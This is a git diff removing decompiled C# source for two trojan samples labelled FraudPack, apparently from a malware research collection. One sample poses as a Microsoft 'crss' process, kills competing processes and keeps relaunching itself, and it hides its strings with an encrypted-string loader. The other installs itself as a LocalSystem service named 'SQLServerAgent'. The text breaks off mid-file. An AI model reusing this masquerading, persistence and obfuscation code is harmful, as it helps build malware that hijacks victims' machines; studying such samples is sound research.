diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/AssemblyInfo.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/AssemblyInfo.cs deleted file mode 100644 index dbed66f0..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/AssemblyInfo.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[assembly: AssemblyProduct("crss")] -[assembly: AssemblyCopyright("Copyright © Microsoft 2011")] -[assembly: AssemblyTitle("crss")] -[assembly: AssemblyCompany("Microsoft")] -[assembly: Guid("0e2e0873-244f-4dfb-9b28-b1a56e3e7bbe")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyTrademark("")] -[assembly: ComVisible(false)] -[assembly: SuppressIldasm] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/Trojan.MSIL.FraudPack.m.csproj b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/Trojan.MSIL.FraudPack.m.csproj deleted file mode 100644 index 4aa2a5c3..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/Trojan.MSIL.FraudPack.m.csproj +++ /dev/null @@ -1,51 +0,0 @@ - - - - - Debug - AnyCPU - {FFB15BCA-D8E5-4BDB-8521-51779612FEA1} - WinExe - crss - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/Trojan.MSIL.FraudPack.m.sln b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/Trojan.MSIL.FraudPack.m.sln deleted file mode 100644 index 88ec989e..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/Trojan.MSIL.FraudPack.m.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "crss", "Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc.csproj", "{FFB15BCA-D8E5-4BDB-8521-51779612FEA1}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {FFB15BCA-D8E5-4BDB-8521-51779612FEA1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {FFB15BCA-D8E5-4BDB-8521-51779612FEA1}.Debug|Any CPU.Build.0 = Debug|Any CPU - {FFB15BCA-D8E5-4BDB-8521-51779612FEA1}.Release|Any CPU.ActiveCfg = Release|Any CPU - {FFB15BCA-D8E5-4BDB-8521-51779612FEA1}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0002.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0002.cs deleted file mode 100644 index b991fb52..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0002.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: crss, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A65BA6D5-D800-4C42-A1F1-7D131391B3D8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc.exe - -using System.CodeDom.Compiler; -using System.Diagnostics; -using System.Globalization; -using System.Resources; - -[DebuggerNonUserCode] -[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] -internal sealed class \u0002 -{ - private static ResourceManager \u0002; - private static CultureInfo \u0003; - - internal \u0002() - { - } - - internal static ResourceManager \u0002() - { - if (\u0002.\u0002 == null) - \u0002.\u0002 = new ResourceManager(\u0008.\u0002(1725855201), typeof (\u0002).Assembly); - return \u0002.\u0002; - } - - internal static CultureInfo \u0002() => \u0002.\u0003; - - internal static void \u0002(CultureInfo _param0) => \u0002.\u0003 = _param0; -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0003.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0003.cs deleted file mode 100644 index 63bde6f1..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0003.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: crss, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A65BA6D5-D800-4C42-A1F1-7D131391B3D8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc.exe - -using System; -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -public sealed class \u0003 : Form -{ - private IContainer \u0002 = (IContainer) null; - private Button \u0003; - private TextBox \u0005; - - public \u0003() => this.\u0002(); - - protected override void Dispose(bool _param1) - { - if (_param1 && this.\u0002 != null) - this.\u0002.Dispose(); - base.Dispose(_param1); - } - - private void \u0002() - { - this.\u0003 = new Button(); - this.\u0005 = new TextBox(); - this.SuspendLayout(); - this.\u0003.Location = new Point(115, 187); - this.\u0003.Name = \u0008.\u0002(1725855169); - this.\u0003.Size = new Size(75, 23); - this.\u0003.TabIndex = 0; - this.\u0003.Text = \u0008.\u0002(1725855169); - this.\u0003.UseVisualStyleBackColor = true; - this.\u0003.Click += new EventHandler(this.\u0003); - this.\u0005.Location = new Point(68, 161); - this.\u0005.Name = \u0008.\u0002(1725855191); - this.\u0005.Size = new Size(169, 20); - this.\u0005.TabIndex = 1; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(292, 273); - this.Controls.Add((Control) this.\u0005); - this.Controls.Add((Control) this.\u0003); - this.Name = \u0008.\u0002(1725855140); - this.Text = \u0008.\u0002(1725855140); - this.Load += new EventHandler(this.\u0002); - this.ResumeLayout(false); - this.PerformLayout(); - } - - private void \u0002(object _param1, EventArgs _param2) - { - } - - private void \u0003(object _param1, EventArgs _param2) - { - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0003.resx b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0003.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0003.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0005.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0005.cs deleted file mode 100644 index b595dcb2..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0005.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: crss, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A65BA6D5-D800-4C42-A1F1-7D131391B3D8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Permissions; -using System.Timers; -using System.Windows.Forms; - -internal static class \u0005 -{ - [STAThread] - [PermissionSet(SecurityAction.LinkDemand, XML = "\r\n")] - private static void \u0002() - { - string str = Convert.ToString(Path.GetPathRoot(Environment.SystemDirectory)[0]); - Process[] processesByName = Process.GetProcessesByName(\u0008.\u0002(1725855144)); - int num = 0; - for (int index = 0; index < processesByName.Length; ++index) - { - if (processesByName[index].MainModule.FileName != str + \u0008.\u0002(1725855165)) - processesByName[index].Kill(); - else - ++num; - } - if (num >= 2) - Environment.Exit(0); - System.Timers.Timer timer = new System.Timers.Timer(1000.0); - timer.Elapsed += new ElapsedEventHandler(\u0005.\u0002); - timer.AutoReset = true; - timer.Enabled = true; - Application.Run(); - } - - private static void \u0002(object _param0, ElapsedEventArgs _param1) - { - string str = Convert.ToString(Path.GetPathRoot(Environment.SystemDirectory)[0]); - Process[] processesByName = Process.GetProcessesByName(\u0008.\u0002(1725855073)); - bool flag = false; - for (int index = 0; index < processesByName.Length; ++index) - { - if (processesByName[index].MainModule.FileName != str + \u0008.\u0002(1725855088)) - processesByName[index].Kill(); - else - flag = true; - } - if (flag) - return; - Process.Start(str + \u0008.\u0002(1725855088)); - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0006.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0006.cs deleted file mode 100644 index e84783dd..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0006.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: crss, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A65BA6D5-D800-4C42-A1F1-7D131391B3D8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc.exe - -internal static class \u0006 -{ - public static byte[] \u0002(byte[] _param0, byte[] _param1) - { - byte num1 = _param0[1]; - int length = _param1.Length; - byte num2 = (byte) (length + 11 ^ (int) num1 + 7); - uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3)); - ushort num4 = 0; - for (int index = 0; index < length; ++index) - { - if ((index & 1) == 0) - { - num3 = (uint) ((int) num3 * 214013 + 2531011); - num4 = (ushort) (num3 >> 16); - } - byte num5 = (byte) num4; - num4 >>= 8; - byte num6 = _param1[index]; - _param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5); - num2 = num6; - } - return _param1; - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0008.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0008.cs deleted file mode 100644 index 1acf928e..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0008.cs +++ /dev/null @@ -1,191 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: crss, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A65BA6D5-D800-4C42-A1F1-7D131391B3D8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Text; - -internal static class \u0008 -{ - private static readonly Dictionary \u0002 = new Dictionary(8); - private static BinaryReader \u0003; - private static byte[] \u0005; - private static short \u0008; - private static int \u0006; - private static byte[] \u000E; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static string \u0002(int _param0) - { - lock (\u0008.\u0002) - { - string str1; - byte[] numArray1; - for (; !\u0008.\u0002.TryGetValue(_param0, out str1); _param0 = ((int) numArray1[2] | (int) numArray1[3] << 16 | (int) numArray1[0] << 8 | (int) numArray1[1] << 24) ^ -_param0) - { - if (\u0008.\u0003 == null) - { - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - Assembly.GetCallingAssembly(); - \u0008.\u0006 = 1610370; - Stream manifestResourceStream = executingAssembly.GetManifestResourceStream("           "); - int skipFrames = 1; - StackTrace stackTrace = new StackTrace(skipFrames, false); - \u0008.\u0006 ^= 6470 | skipFrames; - int index = skipFrames - 1; - StackFrame frame = stackTrace.GetFrame(index); - MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); - \u0008.\u0006 ^= index + 128; - Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; - if (frame == null) - \u0008.\u0006 ^= 219315; - bool flag = (object) type == (object) typeof (RuntimeMethodHandle); - \u0008.\u0006 ^= 160; - if (!flag) - { - flag = (object) type == null; - if (flag) - \u0008.\u0006 ^= 219283; - } - if (flag == (stackTrace != null)) - \u0008.\u0006 ^= 32; - \u0008.\u0006 ^= 6502 | index + 1; - \u0008.\u0003 = new BinaryReader(manifestResourceStream); - short count = (short) ((int) \u0008.\u0003.ReadInt16() ^ (int) (short) ~-~--~~-~-25038); - if (count == (short) 0) - \u0008.\u0008 = (short) ((int) \u0008.\u0003.ReadInt16() ^ (int) (short) (-~-~-~~-~-351214658 ^ 351231482)); - else - \u0008.\u0005 = \u0008.\u0003.ReadBytes((int) count); - Assembly assembly = executingAssembly; - AssemblyName assemblyName; - try - { - assemblyName = assembly.GetName(); - } - catch - { - assemblyName = new AssemblyName(assembly.FullName); - } - \u0008.\u000E = assemblyName.GetPublicKeyToken(); - if (\u0008.\u000E != null && \u0008.\u000E.Length == 0) - \u0008.\u000E = (byte[]) null; - \u0008.\u0006 = \u0008.\u0006 & 268435314 ^ 6788; - } - int num1 = _param0 ^ 1725855205; - \u0008.\u0003.BaseStream.Position = (long) num1; - byte[] numArray2; - if (\u0008.\u0005 != null) - { - numArray2 = \u0008.\u0005; - } - else - { - short count = \u0008.\u0008 != (short) -1 ? \u0008.\u0008 : (short) ((int) \u0008.\u0003.ReadInt16() ^ 23315 ^ num1); - numArray2 = count != (short) 0 ? \u0008.\u0003.ReadBytes((int) count) : (byte[]) null; - } - int num2 = \u0008.\u0003.ReadInt32() ^ num1 ^ ~--~~-~-~827774536 ^ 1596656750; - if (num2 == -2) - { - numArray1 = \u0008.\u0003.ReadBytes(4); - _param0 = -1853741605; - } - else - { - bool flag1 = (num2 & int.MinValue) != 0; - bool flag2 = (num2 & 1073741824) != 0; - int count = num2 & 1073741823; - byte[] numArray3 = \u0006.\u0002(numArray2, \u0008.\u0003.ReadBytes(count)); - if (\u0008.\u000E != null != (\u0008.\u0006 != 1607814)) - { - for (int index = 0; index < count; ++index) - { - byte num3 = \u0008.\u000E[index & 7]; - byte num4 = (byte) ((int) num3 << 3 | (int) num3 >> 5); - numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num4); - } - } - int num5 = \u0008.\u0006 - 12; - byte[] bytes; - int length; - if (!flag2) - { - bytes = numArray3; - length = count; - } - else - { - length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24; - bytes = new byte[length]; - \u0008.\u0002(numArray3, 4, bytes); - } - string str2; - if (flag1 && num5 == 1607802) - { - char[] chArray = new char[length]; - for (int index = 0; index < length; ++index) - chArray[index] = (char) bytes[index]; - str2 = new string(chArray); - } - else - str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length); - int num6 = num5 + ((int) sbyte.MaxValue + (num5 & 3) << 5); - if (num6 != 1611930) - str2 = (_param0 + count ^ 936568 ^ num6 & 1293).ToString("X"); - string str3 = string.Intern(str2); - \u0008.\u0002.Add(_param0, str3); - if (\u0008.\u0002.Count == 8) - { - \u0008.\u0003.Close(); - \u0008.\u0003 = (BinaryReader) null; - \u0008.\u0005 = \u0008.\u000E = (byte[]) null; - } - return str3; - } - } - return str1; - } - } - - private static int \u0002(byte[] _param0, int _param1, byte[] _param2) - { - int num1 = 0; - int num2 = 0; - int num3 = 128; - int length = _param2.Length; -label_9: - while (num1 < length) - { - if ((num3 <<= 1) == 256) - { - num3 = 1; - num2 = (int) _param0[_param1++]; - } - if ((num2 & num3) != 0) - { - int num4 = ((int) _param0[_param1] >> 2) + 3; - int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023; - _param1 += 2; - int num6 = num1 - num5; - if (num6 < 0) - return -1; - while (true) - { - if (--num4 >= 0 && num1 < length) - _param2[num1++] = _param2[num6++]; - else - goto label_9; - } - } - else - _param2[num1++] = _param0[_param1++]; - } - return 0; - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/crss/Properties/Resources.resx b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/crss/Properties/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/crss/Properties/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/crss/Properties/Settings.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/crss/Properties/Settings.cs deleted file mode 100644 index 0ac97bf2..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/crss/Properties/Settings.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: crss.Properties.Settings -// Assembly: crss, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A65BA6D5-D800-4C42-A1F1-7D131391B3D8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc.exe - -using System.CodeDom.Compiler; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace crss.Properties -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - internal sealed class Settings : ApplicationSettingsBase - { - private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); - - public static Settings Default - { - get - { - Settings defaultInstance = Settings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/            b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/            deleted file mode 100644 index cd243c93..00000000 Binary files a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/            and /dev/null differ diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/AssemblyInfo.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/AssemblyInfo.cs deleted file mode 100644 index 55b0ac85..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/AssemblyInfo.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[assembly: AssemblyTrademark("")] -[assembly: Guid("d9813aa2-e9b9-48ab-9e79-f7448274f278")] -[assembly: AssemblyCopyright("Copyright © Microsoft 2011")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: ComVisible(false)] -[assembly: SuppressIldasm] -[assembly: AssemblyProduct("SQLServerAgent")] -[assembly: AssemblyCompany("Microsoft")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("SQLServerAgent")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/Trojan.MSIL.FraudPack.n.csproj b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/Trojan.MSIL.FraudPack.n.csproj deleted file mode 100644 index 801b43b0..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/Trojan.MSIL.FraudPack.n.csproj +++ /dev/null @@ -1,52 +0,0 @@ - - - - - Debug - AnyCPU - {FAE1B1FB-B69C-47E9-8E15-4062D60056C3} - WinExe - SQLServerAgent - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/Trojan.MSIL.FraudPack.n.sln b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/Trojan.MSIL.FraudPack.n.sln deleted file mode 100644 index 926e7c01..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/Trojan.MSIL.FraudPack.n.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SQLServerAgent", "Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e.csproj", "{FAE1B1FB-B69C-47E9-8E15-4062D60056C3}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {FAE1B1FB-B69C-47E9-8E15-4062D60056C3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {FAE1B1FB-B69C-47E9-8E15-4062D60056C3}.Debug|Any CPU.Build.0 = Debug|Any CPU - {FAE1B1FB-B69C-47E9-8E15-4062D60056C3}.Release|Any CPU.ActiveCfg = Release|Any CPU - {FAE1B1FB-B69C-47E9-8E15-4062D60056C3}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0002.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0002.cs deleted file mode 100644 index 662ca00e..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: SQLServerAgent, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 64EBCD24-503A-45A7-A91C-C993E34BC26D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e.exe - -using System.ServiceProcess; - -internal static class \u0002 -{ - private static void \u0002() => ServiceBase.Run(new ServiceBase[1] - { - (ServiceBase) new \u0005() - }); -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0003.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0003.cs deleted file mode 100644 index 21ec44b0..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0003.cs +++ /dev/null @@ -1,44 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: SQLServerAgent, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 64EBCD24-503A-45A7-A91C-C993E34BC26D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e.exe - -using System.ComponentModel; -using System.Configuration.Install; -using System.ServiceProcess; - -[RunInstaller(true)] -public sealed class \u0003 : Installer -{ - private IContainer \u0002 = (IContainer) null; - private ServiceProcessInstaller \u0003; - private ServiceInstaller \u0005; - - public \u0003() => this.\u0002(); - - protected override void Dispose(bool _param1) - { - if (_param1 && this.\u0002 != null) - this.\u0002.Dispose(); - base.Dispose(_param1); - } - - private void \u0002() - { - this.\u0003 = new ServiceProcessInstaller(); - this.\u0005 = new ServiceInstaller(); - this.\u0003.Account = ServiceAccount.LocalSystem; - this.\u0003.Password = (string) null; - this.\u0003.Username = (string) null; - this.\u0005.Description = \u0008.\u0002(1356208612); - this.\u0005.DisplayName = 